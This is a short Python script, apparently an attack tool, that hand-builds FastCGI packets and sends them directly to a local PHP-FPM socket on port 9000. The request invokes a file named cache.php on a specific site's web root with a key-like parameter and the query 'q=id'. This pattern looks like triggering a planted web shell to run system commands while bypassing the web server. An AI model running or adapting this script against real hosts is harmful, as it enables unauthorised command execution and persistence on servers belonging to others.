
import socket,struct,sys,time
FCGI_BEGIN_REQUEST=1;FCGI_END_REQUEST=3;FCGI_PARAMS=4;FCGI_STDIN=5;FCGI_STDOUT=6;FCGI_STDERR=7
def enc(p):
    r=b''
    for k,v in p.items():
        for b in (k.encode(),v.encode()):
            if len(b)<128: r+=struct.pack('B',len(b))
            else: r+=struct.pack('!I',len(b)|0x80000000)
        r+=k.encode()+v.encode()
    return r
def mk(p,body=b''):
    out=struct.pack('!BBHH',1,1,1,8)+struct.pack('!HB',1,0)
    pd=enc(p)
    out+=struct.pack('!BBHH',1,4,1,len(pd))+pd
    out+=struct.pack('!BBHH',1,4,1,0)
    out+=struct.pack('!BBHH',1,5,1,len(body))+body
    out+=struct.pack('!BBHH',1,5,1,0)
    return out
p={'GATEWAY_INTERFACE':'CGI/1.1','REQUEST_METHOD':'POST','CONTENT_TYPE':'application/x-www-form-urlencoded','CONTENT_LENGTH':'0','SCRIPT_FILENAME':'/var/www/glarkru/data/www/glark.ru/cache.php','SCRIPT_NAME':'/cache.php','REQUEST_URI':'/cache.php','QUERY_STRING':'k=gL4rK_js9&q=id','SERVER_PROTOCOL':'HTTP/1.1','REMOTE_ADDR':'127.0.0.1','SERVER_PORT':'80','SERVER_ADDR':'127.0.0.1','REDIRECT_STATUS':'200','DOCUMENT_ROOT':'/var/www/glarkru/data/www/glark.ru','HTTP_HOST':'glark.ru'}
for attempt in range(3):
    try:
        s=socket.create_connection(('127.0.0.1',9000),4)
        s.settimeout(6)
        print('attempt',attempt,'connected, sending',len(mk(p)),'bytes')
        s.sendall(mk(p))
        time.sleep(0.5)
        data=b''
        while True:
            try:
                c=s.recv(65536)
            except socket.timeout:
                print('TIMEOUT, total',len(data)); break
            if not c:
                print('CLOSED, total',len(data)); break
            data+=c
        print('data[:400]=',data[:400])
        s.close()
    except Exception as e:
        print('ERR',repr(e))
